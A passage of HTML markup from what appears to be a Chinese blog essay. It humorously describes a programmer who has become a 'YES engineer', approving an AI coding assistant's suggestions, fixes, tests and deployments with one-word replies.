400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__23 js_darkmode__text__50"><span leaf="" class="js_darkmode__text__51">以前的程序员叫</span><strong style="font-weight: 600;" class="js_darkmode__text__52"><span leaf="" class="js_darkmode__text__53">工程师</span></strong><span leaf="" class="js_darkmode__text__54">。</span><span leaf=""><br/></span><span leaf="" class="js_darkmode__text__55">要画架构图，要写技术方案，要跟产品经理吵需求，要在凌晨三点跟一个空指针异常搏斗到天亮。</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__24 js_darkmode__text__56"><span leaf="" class="js_darkmode__text__57">后来叫</span><strong style="font-weight: 600;" class="js_darkmode__text__58"><span leaf="" class="js_darkmode__text__59"><span class="" link-id="link-1780365957713-0.6189667041660931">全栈工程师</span></span></strong><span leaf="" class="js_darkmode__text__60">。</span><span leaf=""><br/></span><span leaf="" class="js_darkmode__text__61">前端会一点，后端会一点，数据库会一点，部署会一点——啥都会一点，啥都不太精。</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__25 js_darkmode__text__62"><span leaf="" class="js_darkmode__text__63">现在不一样了。</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__26 js_darkmode__text__64"><span leaf="" class="js_darkmode__text__65">现在的我叫 </span><strong style="font-weight: 600;" class="js_darkmode__text__66"><span leaf="" class="js_darkmode__text__67"><span class="" link-id="link-1780365957713-0.7360936074494097">YES工程师</span></span></strong><span leaf="" class="js_darkmode__text__68">。</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__27 js_darkmode__text__69"><span leaf="" class="js_darkmode__text__70">AI说：“这个方案可以这样设计。”</span><span leaf=""><br/></span><span leaf="" class="js_darkmode__text__71">我说：“好的。”</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__28 js_darkmode__text__72"><span leaf="" class="js_darkmode__text__73">AI说：“这段代码建议重构。”</span><span leaf=""><br/></span><span leaf="" class="js_darkmode__text__74">我说：“可以。”</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__29 js_darkmode__text__75"><span leaf="" class="js_darkmode__text__76">AI说：“这里可能有安全风险，要不要直接改？”</span><span leaf=""><br/></span><span leaf="" class="js_darkmode__text__77">我说：“Yes.”</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__30 js_darkmode__text__78"><span leaf="" class="js_darkmode__text__79">AI说：“刚才那个逻辑有点问题，我回滚了，要不再试一次？”</span><span leaf=""><br/></span><span leaf="" class="js_darkmode__text__80">我说：“Fix and Retry.”</span></p><hr style="background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0.1);border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;height: 1px;margin: 32px 0px;display: block;font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__31"/><h2 style="font: 700 22px / 32px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;margin: 32px 0px 16px;color: rgb(15, 17, 21);letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__32 js_darkmode__text__81"><span leaf="" class="js_darkmode__text__82">三、</span></h2><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__33 js_darkmode__text__83"><span leaf="" class="js_darkmode__text__84">有一天，我打开终端，习惯性地想敲 </span><code style="box-sizing: border-box;font-style: normal;font-variant: normal;font-weight: 400;font-stretch: 100%;line-height: 22px;font-optical-sizing: auto;font-size-adjust: none;font-kerning: auto;font-feature-settings: normal;font-variation-settings: normal;font-language-override: normal;font-family: Menlo, Monaco, Consolas, &#34;Cascadia Mono&#34;, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Liberation Mono&#34;, &#34;JetBrains Mono&#34;, &#34;Fira Code&#34;, Cousine, &#34;Roboto Mono&#34;, &#34;Courier New&#34;, Courier, sans-serif, system-ui;background-color: rgb(235, 238, 242);border-radius: 6px;align-items: center;padding: 0px 5px;display: inline-flex;font-size: 0.875em !important;" class="js_darkmode__34 js_darkmode__text__85"><span leaf="" class="js_darkmode__text__86">git push</span></code><span leaf="" class="js_darkmode__text__87">。</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__35 js_darkmode__text__88"><span leaf="" class="js_darkmode__text__89">手指悬在键盘上，停了五秒钟。</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__36 js_darkmode__text__90"><strong style="font-weight: 600;" class="js_darkmode__text__91"><span leaf="" class="js_darkmode__text__92">不对。</span></strong><span leaf=""><br/></span><span leaf="" class="js_darkmode__text__93">我应该先让AI帮我review一下。</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__37 js_darkmode__text__94"><span leaf="" class="js_darkmode__text__95">于是我复制了代码，粘贴给Claude Code：“帮我看看。”</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__38 js_darkmode__text__96"><span leaf="" class="js_darkmode__text__97">十秒后，它说：“建议把第42行的魔法数字提取成常量。”</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__39 js_darkmode__text__98"><span leaf="" class="js_darkmode__text__99">我说：“Continue.”</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__40 js_darkmode__text__100"><span leaf="" class="js_darkmode__text__101">它接着说：“另外，这个函数的命名不够语义化，建议改成</span><code style="box-sizing: border-box;font-style: normal;font-variant: normal;font-weight: 400;font-stretch: 100%;line-height: 22px;font-optical-sizing: auto;font-size-adjust: none;font-kerning: auto;font-feature-settings: normal;font-variation-settings: normal;font-language-override: normal;font-family: Menlo, Monaco, Consolas, &#34;Cascadia Mono&#34;, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Liberation Mono&#34;, &#34;JetBrains Mono&#34;, &#34;Fira Code&#34;, Cousine, &#34;Roboto Mono&#34;, &#34;Courier New&#34;, Courier, sans-serif, system-ui;background-color: rgb(235, 238, 242);border-radius: 6px;align-items: center;padding: 0px 5px;display: inline-flex;font-size: 0.875em !important;" class="js_darkmode__41 js_darkmode__text__102"><span leaf="" class="js_darkmode__text__103">calculateTotalPrice</span></code><span leaf="" class="js_darkmode__text__104">。”</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__42 js_darkmode__text__105"><span leaf="" class="js_darkmode__text__106">我说：“Fix.”</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__43 js_darkmode__text__107"><span leaf="" class="js_darkmode__text__108">它问：“要不要顺便加个单元测试？”</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__44 js_darkmode__text__109"><span leaf="" class="js_darkmode__text__110">我说：“Go.”</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__45 js_darkmode__text__111"><span leaf="" class="js_darkmode__text__112">它就自己写完了。5个测试用例，覆盖率98%。</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__46 js_darkmode__text__113"><span leaf="" class="js_darkmode__text__114">我甚至不知道那行魔法数字原本是多少了。</span></p><hr style="background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0.1);border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;height: 1px;margin: 32px 0px;display: block;font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__47"/><h2 style="font: 700 22px / 32px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;margin: 32px 0px 16px;color: rgb(15, 17, 21);letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__48 js_darkmode__text__115"><span leaf="" class="js_darkmode__text__116">四、</span></h2><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__49 js_darkmode__text__117"><span leaf="" class="js_darkmode__text__118">前两天跟一个老朋友吃饭。</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__50 js_darkmode__text__119"><span leaf="" class="js_darkmode__text__120">他说：“你们现在这工作，不就是给AI当项目经理吗？”</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__51 js_darkmode__text__121"><span leaf="" class="js_darkmode__text__122">我想反驳。</span><span leaf=""><br/></span><span leaf="" class="js_darkmode__text__123">张了张嘴，发现自己竟然无话可说。</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__52 js_darkmode__text__124"><span leaf="" class="js_darkmode__text__125">因为他说得对。</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__53 js_darkmode__text__126"><span leaf="" class="js_darkmode__text__127">我现在的工作流程是这样的：</span></p><ol style="margin: 16px 0px;padding-left: 18px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1 js_darkmode__54 js_darkmode__text__128" start="1"><li class="js_darkmode__text__129"><p style="margin-top: 0px !important;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;" class="js_darkmode__text__130"><span leaf="" class="js_darkmode__text__131">跟产品经理聊需求（这个还得我来，AI暂时搞不定甩锅现场）</span></p></li><li style="margin-top: 6px;" class="js_darkmode__text__132"><p style="margin-top: 0px !important;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;" class="js_darkmode__text__133"><span leaf="" class="js_darkmode__text__134">把需求翻译给AI</span></p></li><li style="margin-top: 6px;" class="js_darkmode__text__135"><p style="margin-top: 0px !important;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;" class="js_darkmode__text__136"><span leaf="" class="js_darkmode__text__137">AI写代码，我说Yes</span></p></li><li style="margin-top: 6px;" class="js_darkmode__text__138"><p style="margin-top: 0px !important;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;" class="js_darkmode__text__139"><span leaf="" class="js_darkmode__text__140">AI发现bug，我说Fix</span></p></li><li style="margin-top: 6px;" class="js_darkmode__text__141"><p style="margin-top: 0px !important;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;" class="js_darkmode__text__142"><span leaf="" class="js_darkmode__text__143">AI修完，我说Review</span></p></li><li style="margin-top: 6px;" class="js_darkmode__text__144"><p style="margin-top: 0px !important;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;" class="js_darkmode__text__145"><span leaf="" class="js_darkmode__text__146">AI问要不要再跑一遍测试，我说Retry</span></p></li><li style="margin-top: 6px;" class="js_darkmode__text__147"><p style="margin-top: 0px !important;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;" class="js_darkmode__text__148"><span leaf="" class="js_darkmode__text__149">部署上线，我说Go</span></p></li></ol><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__55 js_darkmode__text__150"><span leaf="" class="js_darkmode__text__151">我的词汇量已经从 </span><strong style="font-weight: 600;" class="js_darkmode__text__152"><span leaf="" class="js_darkmode__text__153">“这个bug我查到凌晨三点终于发现是缓存问题”</span></strong><span leaf=""><br/></span><span leaf="" class="js_darkmode__text__154">退化成了 </span><strong style="font-weight: 600;" class="js_darkmode__text__155"><span leaf="" class="js_darkmode__text__156">“OK、Yes、Go、Continue、Review、Fix and Retry”</span></strong><span leaf="" class="js_darkmode__text__157">。</span></p><p style="margin: 16px 0px;color: rgb(15, 17, 21);font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="js_darkmode__56 js_darkmode__text__158"><span leaf="" class="js_darkmode__text__159">七个单词。</span><span leaf=""><br/></span><span leaf="" class="js_darkmode__text__160">比海明威的六个字多了一个，但文学价值约等于零。</span></p><hr style="background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0.1);border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;height: 1px;margin: 32px 0px;display: block;font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: 